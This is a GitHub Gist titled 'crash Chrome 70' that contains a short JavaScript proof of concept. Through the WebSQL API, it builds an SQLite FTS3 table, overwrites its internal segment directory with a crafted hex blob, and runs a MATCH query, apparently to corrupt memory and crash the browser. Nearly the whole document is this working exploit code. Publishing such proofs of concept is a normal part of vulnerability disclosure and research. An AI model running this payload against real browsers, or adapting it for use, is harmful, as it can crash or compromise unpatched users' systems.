Created
December 16, 2018 03:23
-
-
Save ChiChou/4cd910ac6e576d74247630c118a78f82 to your computer and use it in GitHub Desktop.
crash Chrome 70
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const poc = `CREATE VIRTUAL TABLE ft USING fts3; | |
INSERT INTO ft VALUES('aback'); | |
INSERT INTO ft VALUES('abaft'); | |
INSERT INTO ft VALUES('abandon'); | |
UPDATE ft_segdir SET root = x'0005616261636B03010200FFFFFFFF070266740302020003046E646F6E03030200'; | |
SELECT * FROM ft WHERE ft MATCH 'abandon';`; | |
const name = 'db' + Math.random().toString().slice(2, 5); | |
const db = openDatabase(name, '1.0', 'xx', 1024 * 16); | |
// wow so lisp such braces | |
const exec = sql => | |
new Promise((resolve, reject) => | |
db.transaction(tx => | |
tx.executeSql( | |
sql, | |
[], | |
(tx, res) => resolve(res), | |
(tx, err) => reject(err) | |
) | |
) | |
) | |
const tasks = poc.split('\n').map(exec); | |
tasks.reduce((promiseChain, currentTask) => { | |
return promiseChain.then(chainResults => | |
currentTask.then(currentResult => | |
[ ...chainResults, currentResult ] | |
) | |
); | |
}, Promise.resolve([])) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment